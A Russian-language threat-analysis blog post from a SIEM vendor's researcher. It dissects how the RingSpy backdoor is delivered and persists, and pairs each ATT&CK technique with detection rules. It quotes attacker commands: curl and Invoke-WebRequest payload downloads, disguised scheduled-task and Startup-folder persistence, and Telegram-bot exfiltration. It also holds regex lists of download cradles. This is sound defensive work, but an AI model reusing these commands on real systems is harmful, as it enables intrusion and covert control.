Введение
Привет, Хабр!
Меня зовут Илья Ефимов, я аналитик-исследователь угроз кибербезопасности в компании R-Vision. Сегодня я расскажу про вредоносное ПО RingSpy, которое использует группировка Mysterious Werewolf. В этой статье мы подробно разберём один из способов его установки на компьютер жертвы.

RingSpy — это программа для удаленного доступа, которая позволяет скачивать файлы и выполнять различные команды атакующих (С2). Она пришла на смену другому инструменту — агенту Athena фреймворка Mythic. RingSpy управляется через бот в мессенджере Telegram, что делает его идеальным для скрытой атаки и контроля над скомпрометированными системами. А основной «фишкой» способа доставки бэкдора стала эксплуатация уязвимости CVE‑2023‑38831 в WinRAR.
Наши коллеги уже подготовили отчет о функционале этого бэкдора. Я же хочу разобрать один из способов его внедрения в скомпрометированную систему и рассмотреть, как его можно обнаружить с помощью R-Vision SIEM.
Детали работы загрузчика RingSpy
В этой статье мы подробно разберем метод внедрения бэкдора, используя техники из матрицы MITRE ATT&CK.
Фишинг через вложение
Для первоначального доступа в систему жертвы злоумышленники используют фишинг, что соответствует технике T1566.001 - Phishing: Spearphishing Attachment. Они отправляют электронные письма с вложенным архивом, который содержит файл с двойным расширением, использующий уязвимость CVE‑2023‑38831 в WinRAR.
Эксплуатация уязвимости в клиентском приложении
После доставки фишингового вложения при открытии файла происходила эксплуатация CVE-2023-38831 WinRAR, что относится к технике T1203 - Exploitation for Client Execution. Атакующие использовали данную уязвимость для запуска полезной нагрузки. Подробнее можно познакомиться с моим разбором CVE-2023-38831 WinRAR и возможностями ее детекта в статье.
Доставка инструментария атакующего
Техника Ingress Tool Transfer T1105 используется, когда атакующий передает вредоносные инструменты или файлы из внешней системы в скомпрометированную среду.
Для подгрузки модулей ВПО атакующие из Mysterious Werewolf использовали командлет Invoke-WebRequest, а также встроенную утилиту curl.
Далее описаны используемые методы для подгрузки данных с внешних ресурсов.
Утилита сurl
В блоке кода ниже используется утилита curl для загрузки содержимого файла "bat.bat". В результате этот файл сохранялся в локальном хранилище под названием "i.bat".
# Скачивает файл с указанного URL и сохраняет его по пути `C:\Users\[username]\AppData\Local\r`.Использует метод HTTP GET и заголовки для авторизации и указания типа содержимого. curl -o "C:\Users\<username>\AppData\Local\r" -L -O -X GET "https://cloud-api.yandex.net/v1/disk/resources/download?path=bat.bat" -H "Accept: application/json" -H "Authorization: OAuth [redacted]" -H "Content-Type: application/json" # Читает содержимое файла `r` и сохраняет его в переменную `B`. set /p B=<"C:\Users\<username>\AppData\Local\r" # Скачивает файл с URL, который извлекается из переменной `B` (начиная с 9-го символа и длиной 445 символов), и сохраняет его по пути `C:\Users\[username]\AppData\Local\i.bat`. Также использует метод HTTP GET и заголовки для авторизации и указания типа содержимого. curl -o "C:\Users\<username>\AppData\Local\i.bat" -L -O -X GET "%B:~9,445%" -H "Accept: application/json" -H "Authorization: OAuth [redacted]" -H "Content-Type: application/json"
В результате этой активности на хосте в журналах Sysmon и Security возникают следующие события:
DNS-запрос к домену
api.disk.yandex.netв EventID 22: DNSEvent (DNS query) Sysmon.Сетевое соединение EventID 3: Network connection Sysmon с IP, соответствующим домену
cloud-api.yandex.net.Создание файла вывода
C:\Users\<user>\AppData\Local\r, в результате работы утилитыcurl.exe(EventID 11: FileCreate Sysmon).Формирование процессов утилиты
curl.exeс доступом к внешним ресурсам, что зафиксировано в EventID 1: Process creationSysmonили EventID 4688: Process creation журналаSecurity.




Следует отметить, что эти события могут быть полезны для расследования, но не для построения хорошей детектирующей логики. Причина в том, что злоумышленники использовали API Яндекса в качестве C2-сервера для доставки вредоносного инструментария. В следующий раз они могут выбрать другое облачное решение для этой цели.
Детект доставки инструментария через утилиту curl
Активность по работе утилиты curl, связанной с загрузкой файлов, может быть задетектирована вспомогательным правилом «Загрузка файлов с удаленных веб-ресурсов при помощи стандартных утилит»:

Под спойлером представлен фрагмент логики правила, которая отвечает за его детектирование. Основная задача этой логики — поиск событий создания процессов с использованием популярных утилит и флагов, предназначенных для загрузки файлов с удалённых серверов.
Кроме того, в правиле предусмотрен список исключения легитимных ресурсов, обращение к которым разрешено и не будет генерировать корреляционные сработки:
«Загрузка файлов с удаленных веб-ресурсов при помощи стандартных утилит»
filter: !vrl | .dvendor == "Microsoft" && includes(["1", "4688"], .externalId) aliases: proc_create: filter: !vrl | flag = false # В списке legit_domains будет находится список легитимных доменов. В случае если домен совпадает, то сработки не будет legit_domains = ["legitdom.com"] dproc = downcase(to_string(.dproc) ?? "-") if .externalId == "1"{ cmd = to_string(.cmd) ?? "-" cs2 = downcase(to_string(.cs2) ?? "-") # Разные проверки cmd для разных пакетов Python (urllib, urllib2, urllib3 - Python2, requests - Python3) if ((ends_with(dproc, "\\python.exe") || cs2 == "python") && (contains_all(downcase(cmd), ["urllib", "urlopen"]) || contains_all(downcase(cmd), ["request", "get"]))) || ((ends_with(dproc, "\\certreq.exe") || cs2 == "certreq.exe") && contains_all(downcase(cmd), ["post", "config"])) || ((ends_with(dproc, "\\certutil.exe") || cs2 == "certutil.exe") && contains_all(downcase(cmd), ["verifyctl", "split"])) || ((ends_with(dproc, "\\certutil.exe") || cs2 == "certutil.exe") && contains_all(downcase(cmd), ["urlcache", "split"])) || ((ends_with(dproc, "\\curl.exe") || cs2 == "the curl executable") && (contains(cmd, "-O ") || contains(downcase(cmd), "--remote-name"))) { flag = true cmd = downcase(to_string(.cmd) ?? "-") for_each(legit_domains) -> |_index, value|{ if contains(cmd, value){ flag = false } } } } else if .externalId == "4688"{ cmd = to_string(.cmd) ?? "-" # Разные проверки cmd для разных пакетов Python (urllib - Python2, requests - Python3) if ((ends_with(dproc, "\\python.exe")) && (contains_all(downcase(cmd), ["urllib", "urlopen"]) || contains_all(downcase(cmd), ["request", "get"]))) || ((ends_with(dproc, "\\certreq.exe")) && contains_all(downcase(cmd), ["post", "config"])) || ((ends_with(dproc, "\\certutil.exe")) && contains_all(downcase(cmd), ["verifyctl", "split"])) || ((ends_with(dproc, "\\certutil.exe")) && contains_all(downcase(cmd), ["urlcache", "split"])) || ((ends_with(dproc, "\\curl.exe")) && (contains(cmd, "-O ") || contains(downcase(cmd), "--remote-name"))){ flag = true cmd = downcase(to_string(.cmd) ?? "-") for_each(legit_domains) -> |_index, value|{ if contains(cmd, value){ flag = false } } } } flag
Командлет Invoke-WebRequest
Бэкдор RingSpy позволяет загружать файлы с удалённых ресурсов. Для этого используется командлет Invoke-WebRequest. Вот как выглядит шаблон команды:
powershell.exe Invoke-WebRequest -Uri "http://[сетевой ресурс]/[имя файла]" -OutFile " C:\Users\[username]\AppData\Local\Microsoft\Windows\Ringtones\<имя файла>"
В результате активности формируются события с EventID 4103: Module logging и 4104: Powershell Script Block Logging журнала Powershell/Operational, в которых можно увидеть интересующий нас командлет Invoke-WebRequest:

Детект доставки инструментария через командлет Invoke-WebRequest
В R-Vision SIEM можно фиксировать подобную активность с загрузкой файлов через командлет Invoke-WebRequest, при помощи правила «Загрузка файлов с удаленных веб-ресурсов при помощи стандартных утилит». Ниже представлен пример корреляционного события, иллюстрирующий работу этого правила.

Под спойлером представлена часть детектирующей логики правила, в которой отслеживаются события 4103 и 4104 журнала Powershell/Operational с интересующими нас командлетами, которые могут быть использованы для загрузки файлов.
«Загрузка файлов с удаленных веб-ресурсов при помощи стандартных утилит»
filter: !vrl | .dvendor == "Microsoft" && (.externalId == "4104" || .externalId == "4103") aliases: event: filter: !vrl | match(to_string(downcase(.fname) ?? "-"), r'iex.*downloadstring|invoke-expression.*downloadstring|iex.*iwr.*http|invoke-expression.*invoke-webrequest.*http|invoke-expression.*iwr.*http|iex.*invoke-webrequest.*http|invoke-webrequest.*http|invoke-restmethod.*http|iwr.*http|xmlhttp.*send.*iex|xmlhttp.*send.*invoke-expression|winhttprequest.*send.*iex|winhttprequest.*send.*invoke-expression|invoke-restmethod.*uri|irm.*uri|iwr.*uri|downloadfile|net.webclient|downloaddata|downloaddataasync|downloaddatataskasync|downloadfileasync|downloadfiletaskasync|downloadstringasync|downloadstringtaskasync|filewebrequest|ftpwebrequest|httpwebrequest|curl|wget|msxml2.xmlhttp|internetexplorer.application|msxml2.serverxmlhttp|word.application|excel.application|0002df01-0000-0000-c000-000000000046|f6d90f16-9c73-11d3-b32e-00c04f990bb4|f5078f35-c551-11d3-89b9-0000f81fe221|88d96a0a-f192-11d4-a65f-0040963251e5|afba6b42-5692-48ea-8141-dc517dcf0ef1|afb40ffd-b609-40a3-9828-f88bbe11e4e3|88d96a0b-f192-11d4-a65f-0040963251e5|2087c2f4-2cef-4953-a8ab-66779b670495|000209ff-0000-0000-c000-000000000046|00024500-0000-0000-c000-000000000046|bitstransfer|system.xml.xmldocument|appactivate|sendkeys')
Удаление файловых индикаторов
Техника T1070.004 — Indicator Removal: File Deletion — применяется атакующими для устранения следов своего присутствия в системе, чтобы минимизировать вероятность обнаружения. Она включает удаление вредоносного ПО, инструментов или других файлов, созданных в ходе вторжения.
После выполнения задач бэкдором RingSpy загруженные стейджеры самоудаляются, чтобы скрыть следы атаки, с помощью команды:
del /s /q "C:\Users\<username>\AppData\Local\r"
Фиксируется действие в журнале Sysmon/Operational событием с FileDeleteDetected (File Delete logged). Как можно заметить, в filePath хранится путь к удаляемому файлу, а в dproc — процесс, который инициировал удаление файла:
![Событие удаления файла C:\Users\[username]\AppData\Local\r средствами cmd.exe в R-Vision SIEM Событие удаления файла C:\Users\[username]\AppData\Local\r средствами cmd.exe в R-Vision SIEM](https://habrastorage.org/r/w1560/getpro/habr/upload_files/653/e41/a0f/653e41a0fe383a0dbbf64d57f7894501.png)
C:\Users\[username]\AppData\Local\r средствами cmd.exe в R-Vision SIEMДетект удаления файловых индикаторов атакующим
Эта активность детектируется с помощью системы анализа событий R-Vision SIEM, которая использует правило «Создание и удаление файла за короткий промежуток времени с помощью интерпретатора командной строки». Ниже представлен пример корреляционного события:

В детектирующем правиле отслеживаются события создания и удаления одного и того же файла от процесса командной строки за короткий промежуток времени.
«Создание и удаление файла за короткий промежуток времени с помощью интерпретатора командной строки»
filter: !vrl | .dvendor == "Microsoft" && includes(["11", "26"], .externalId) && ends_with(downcase(to_string(.dproc) ?? ""), "\\cmd.exe") aliases: file_create: filter: !vrl | flag = false if .externalId == "11"{ flag = true } flag file_delete: filter: !vrl | flag = false if .externalId == "26"{ flag = true } flag ttl: 1 select: alias: file_create join: alias: file_delete on: - eq: {file_create: .dvchost, file_delete: .dvchost} - eq: {file_create: .filePath, file_delete: .filePath} - eq: {file_create: .suser, file_delete: .suser}
Интерпретаторы командной строки и сценариев
Техника T1059 — Command and Scripting Interpreter используется атакующими для выполнения команд, скриптов или бинарных файлов на целевых системах. Интерпретаторы команд и скриптов обеспечивают способы взаимодействия с компьютерными системами и являются общей функцией на многих платформах.
В рамках своей работы RingSpy использует различные интерпретаторы:
Ниже представлен пример содержимого скрипта python.vbs, который является бэкдором RingSpy. Этот скрипт запускается с помощью Wscript.Shell:
Set oShell = CreateObject("Wscript.Shell") oShell.Run “C:\Users\[redacted]\AppData\Local\Python\python.exe” "C:\Users\[redacted]\AppData\Local\Python\f.py” , 0, true
Детект техники «Интерпретаторы командной строки и сценариев»
R-Vision SIEM детектирует активность, связанную с использованием Visual Basic, с помощью правила: «Потенциальное выполнение скрипта через WScript/CScript». Ниже представлен пример корреляционного события:

Под спойлером представлен фильтр правила, где фиксируется создание процессов WScript/CScript и попытка исполнения скриптовых файлов в подозрительных директориях:
«Потенциальное выполнение скрипта через WScript/CScript»
aliases: events: filter: !vrl | cmd = to_string(downcase(.cmd) ?? "-") dproc = to_string(downcase(.dproc) ?? "-") .dvendor == "Microsoft" && ((.externalId == "1" || .externalId == "4688") && ( (ends_with(dproc, "wscript.exe")) || (ends_with(dproc, "cscript.exe")) ) && ( (contains(cmd, ":\\\\temp\\\\")) || (contains(cmd, ":\\\\tmp\\\\")) || (contains(cmd, ":\\\\users\\\\public\\\\")) || (contains(cmd, ":\\\\windows\\\\temp\\\\")) || (contains(cmd, "\\\\appdata\\\\local\\\\temp\\\\")) ) && ( (contains(cmd, ".js")) || (contains(cmd, ".jse")) || (contains(cmd, ".vba")) || (contains(cmd, ".vbe")) || (contains(cmd, ".vbs")) || (contains(cmd, ".wsf")) ) )
Использование веб-служб для двусторонней связи
Техника T1102.002 — Web Service: Bidirectional Communication — используется атакующими для отправки команд на скомпрометированную систему и получения от нее данных через легитимные внешние веб-сервисы.
Управляющий сервер бэкдора — бот в мессенджере Telegram. При успешном выполнении команд вывод записывается в файл C:\Users\[redacted]\AppData\Local\Python\rs.txt, а затем отправляется на управляющий сервер в виде файла. Файлы на управляющий сервер отправляются с использованием сетевого ресурса https://api.telegram.org/bot[токен бота]/sendDocument, а текст — https://api.telegram.org/bot[токен бота]/sendMessage.
При подключении к домену api.telegram.org происходит множество событий, но особенно интересными являются два из них:
Событие DNS запроса к домену
api.telegram.org. Это событие фиксируется в журналеSysmon/Operationalс Event ID 22: DNSEvent (DNS query):

Событие сетевого соединения с IP-адресом
149.154.167.220, который принадлежитapi.telegram.org. Это уведомление также можно найти в журналеSysmon/Operationalс Event ID 3: Network connection:

Детект использования Telegram в качестве C2
Здесь на помощь приходит R-Vision SIEM, который использует правило «Запросы к API Telegram подозрительным приложением». Вот пример корреляционного события:

Под спойлером представлен фильтр правила, который отслеживает соединения с IP-адресом или доменным именем, соответствующими API Telegram (149.154.167.220 и api.telegram.org). Так как такая активность часто является легитимной, в правиле предусмотрено исключение по родительскому процессу, благодаря активному списку telegram_legit_actives:
«Запросы к API Telegram подозрительным приложением»
filter: !vrl | .dvendor == "Microsoft" && includes(["3", "22"], to_string(.externalId) ?? "") aliases: connect_telegram: filter: !vrl | isConnectLegit = false isConnectTelegram = false externalId = to_string(.externalId) ?? "" dproc = "\\\\" + to_string(split(downcase(to_string(.dproc) ?? ""), "\\\\", limit: 2)[-1]) dvchost = downcase(to_string(.dvchost) ?? "") destinationTranslatedAddress = ipv6_to_ipv4(.destinationTranslatedAddress) ?? "" destinationTranslatedPort = to_string(.destinationTranslatedPort) ?? "" cs1 = downcase(to_string(.cs1) ?? "") # В массив ["149.154.167.220"] нужно будет вписывать IP-адреса API Telegram, на случай если будут добавляться еще адреса if externalId == "3" && includes(["149.154.167.220"], destinationTranslatedAddress) && destinationTranslatedPort == "443"{ isConnectTelegram = true isActiveLegit = get_active_record("telegram_legit_actives", {"dvchost": dvchost, "dproc": dproc}) ?? null if (isActiveLegit != null) { isConnectLegit = true } } else if externalId == "22" && cs1 == "api.telegram.org"{ isConnectTelegram = true isActiveLegit = get_active_record("telegram_legit_actives", {"dvchost": dvchost, "dproc": dproc}) ?? null if (isActiveLegit != null) { isConnectLegit = true } } !isConnectLegit && isConnectTelegram
Закрепление через планировщик заданий Windows
Техника T1053.005 — Scheduled Task / Job: Scheduled Task используется атакующими для выполнения команд или программ на скомпрометированной системе в заданное время или на регулярной основе.
Бэкдор RingSpy предоставляет атакующему возможность удаленно выполнять команды, просматривать их результаты и загружать файлы из сети. Для закрепления в бэкдоре можно использовать опцию -f при запуске. В этом случае RingSpy устанавливает в планировщике заданий выполнение скрипта python.vbs каждую минуту:
powershell.exe schtasks /create /tn 'GoogleUpdatess' /tr '%localappdata%\Python\python.vbs' /sc minute /mo 1
При выполнении команды генерируются события с EventID 1: Process Creation журнала Sysmon/Operational и EventID 4688: Process Creation журнала Security, где в поле cmd можно увидеть выполняемую команду по созданию задачи GoogleUpdatess:

Наиболее точечным детектом будет событие с EventID 4698: A scheduled task was created , зафиксированное в журнале Security. В поле cs2 можно увидеть процесс, ответственный за эту активность, а в поле cs6 — название созданной задачи GoogleUpdatess:

Детект «Закрепление через планировщик заданий Windows»
Эту активность детектирует R-Vision SIEM при помощи правила «Изменения в планировщике задач». Ниже показан пример корреляционного события:

Под спойлером представлена часть детектирующей логики правила, где происходит мониторинг событий создания, удаления, изменения запланированных задач. При этом при помощи массива legitimate_tasks и таблицы legitimate_scheduled_task происходит исключение легитимных путей для задач:
«Изменения в планировщике задач»
filter: !vrl | .dvendor == "Microsoft" && includes(["4698", "4699", "4702"], .externalId) && !ends_with(downcase(to_string(.suser) ?? ""), "$") aliases: schedule_task_change: filter: !vrl | cs6 = downcase(to_string(.cs6) ?? "") #Список легитимных путей для задач legitimate_tasks = [ "\\onedrive standalone update task-", "\\onedrive reporting task-", "\\mozilla\\firefox default browser agent", "\\user_feed_synchronization-", "\\googleupdatetaskmachine", "\\opera scheduled" ] flag = true #проверка на вхождение задачи в список легитимных задач legitimate_tasks for_each(legitimate_tasks) -> |_index, value| { if contains(cs6, value){ flag = false } } #Если в предыдущих проверках не удалось найти легитимную задачу, то проверка на вхождение задачи в таблице легитимных задач legitimate_scheduled_tasks if flag == true{ legit_task_check, error = get_enrichment_table_record("legitimate_scheduled_task", {"path": cs6}, case_sensitive: false) if !is_empty(legit_task_check){ flag = false } } if flag == false{ false } else{ true }
Закрепление через автозагрузку
Техника T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder — используется атакующими для достижения постоянства на скомпрометированной системе.
Чтобы закрепить своё присутствие, при запуске бэкдора python.vbs они копируют VB-скрипт в директорию автозапуска:
copy "%localappdata%\Python\python.vbs" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"
Наиболее эффективным способом обнаружения событий, которые генерируются, будет использование EventID 4663: An attempt was made to access an object журнала Security. При этом стоит обратить внимание на маску доступа. Нас интересуют маски 0x100 (WriteAttributes) или 0x6 (0x2 (WriteData) + 0x4 (AppendData)):

Также фиксируется событие создание файла средствами Sysmon с EventID 11, где в поле filePath содержится название создаваемого файла в папке автозагрузки:

Детект «Закрепление через автозагрузку»
Эту активность обнаруживает R-Vision SIEM с помощью правила «Возможное закрепление в системе через автозагрузку». Ниже представлен пример корреляционного события:

Часть детектирующей логики правила, где происходит мониторинг событий создания файла в директориях автозапуска, представлена под спойлером:
«Возможное закрепление в системе через автозагрузку»
filter: !vrl | .dvendor == "Microsoft" && # Фильтруем событие доступа к объекту файловой системы с access mask на запись при помощи журнала Security (.externalId == "4663" && (.accessMask == "0x100" || .accessMask == "0x6")) || # Фильтруем событие создание файла при помощи журнала Sysmon (.externalId == "11") on_event: !vrl | # Директории, в которых может быть реализована данная техника registry_run_keys = ["\\\\appdata\\\\roaming\\\\microsoft\\\\windows\\\\start menu\\\\programs\\\\startup","\\\\programdata\\\\microsoft\\\\windows\\\\startmenu\\\\programs\\\\startup"] state.flag = false for_each(registry_run_keys) -> |_index, value| { if .externalId == "11"{ if contains(downcase(to_string(.filePath) ?? ""), value){ state = . state.flag = true state.msg = "Пользователь " + (to_string(.sntdom) ?? "-") + "\\" + (to_string(.suser) ?? "-") + " осуществил закрепление в системе на хосте " + (to_string(.dvchost) ?? "-") + " через директорию автозапуска при помощи процесса " + (to_string(.dproc) ?? "-") } } else if .externalId == "4663"{ if contains(downcase(to_string(.fname) ?? ""), value){ state = . state.flag = true state.msg = "Пользователь " + (to_string(.sntdom) ?? "-") + "\\" + (to_string(.suser) ?? "-") + " осуществил закрепление в системе на хосте " + (to_string(.dvchost) ?? "-") + " через директорию автозапуска при помощи процесса " + (to_string(.dproc) ?? "-") } } }
Заключение
В этой статье мы подробно рассмотрели один из способов доставки бэкдора RingSpy на скомпрометированный хост.
На основе анализа я подготовил несколько рекомендаций, которые помогут вам защитить вашу систему от подобных угроз:
Обновите WinRAR до версии 6.23 или более поздней. Это позволит вам избежать уязвимости CVE-2023-38831.
Следите за распространенными киберугрозами и тактиками, которые используют атакующие. Эти знания помогут вам распознать потенциальные риски и избежать мошенничества.
Будьте осторожны с вложениями из неизвестных источников. Запускайте только те вложения, которые получены из надежных источников.
Кроме того, мы продемонстрировали, как R-Vision SIEM может эффективно выявлять активность подобного рода. Поэтому для защиты от подобных атак рекомендуем использовать это решение.
Надеюсь, статья оказалась для вас полезной. Если у вас остались вопросы, буду рад ответить на них в комментариях.
MITRE ATT&CK
Матрица MITRE ATT&CK
Тактика | Техника | Процедура | Правило |
|---|---|---|---|
Использует фишинговые письма для получения первоначального доступа | |||
Использует PowerShell для выполнения команд и сценариев | |||
Command and Scripting Interpreter: Windows Command Shell T1059.003 | Использует командную строку Windows для выполнения команд и сценариев | ||
Использует VBS‑сценарии | Потенциальное выполнение скрипта через WScript/CScript | ||
Использует интерпретатор Python для выполнения кода бэкдора | |||
Использует уязвимость CVE‑2023‑38831 в WinRAR для выполнения вредоносного кода | Запуск интерпретатора командной строки от WinRAR | ||
Использует планировщик задач Windows для закрепления в скомпрометированной системе | Изменения в планировщике задач | ||
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder - T1547.001 | Использует папку автозагрузки для закрепления в скомпрометированной системе | Зафиксировано возможное закрепление в системе посредством помещения файла в директорию автозагрузки | |
Удаляет файлы после выполнения | Создание и удаление файла за короткий промежуток времени при помощи интерпретатора командной строки | ||
Загружает файлы с удаленных ресурсов | 1) Загрузка файлов с удаленного сервера при помощи PowerShell 2) Загрузка файлов с удаленных веб-ресурсов при помощи стандартных утилит | ||
Использует бот в мессенджере Telegram в качестве командного сервера | Запросы к API Telegram подозрительным приложением |
При этом стоит отметить, что список правил не окончательный, в статье описаны лишь правила, которые наиболее точно подходят под определенную технику.
